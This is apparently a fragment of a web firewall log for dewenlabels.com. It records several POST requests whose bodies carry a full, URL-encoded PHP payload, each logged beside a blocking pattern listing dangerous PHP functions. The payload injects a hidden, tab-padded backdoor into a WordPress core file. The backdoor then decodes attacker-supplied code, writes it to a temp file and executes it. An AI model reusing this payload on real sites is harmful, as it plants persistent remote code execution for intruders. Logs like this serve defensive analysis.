%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4778\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nAw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:57","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4778\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvITfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nTk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:00","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4778\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoaRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nnq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-post-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%2529%2529%257B%2520%2524ref%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66l%255Cx61g%2522%255D%253B%2520%2524ref%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524ref%2520%2529%253B%2520%2524token%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524ref%2529%253B%2520for%2520%2528%2524n%2520%253D%25200%253B%2520%2524n%2520%253C%2520%2524__len%253B%2520%2524n%252B%252B%2529%2520%257B%2524v4%2520%253D%2520%2524ref%255B%2524n%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%25201%253B%2520%2524token%2520.%253D%2520chr%2528%2524d%2529%253B%2520%257D%2520%2524descriptor%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520for%2520%2528%2524entry%2520%253D%25200%252C%2520%2524rec%2520%253D%2520count%2528%2524descriptor%2529%253B%2520%2524entry%2520%253C%2520%2524rec%253B%2520%2524entry%252B%252B%2529%2520%257B%2520%2524object%2520%253D%2520%2524descriptor%255B%2524entry%255D%253B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524object%2529%2520%257C%257C%2520%2521is_writable%2528%2524object%2529%2520%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524object\/.dat%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524k%252C%2520%2524token%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
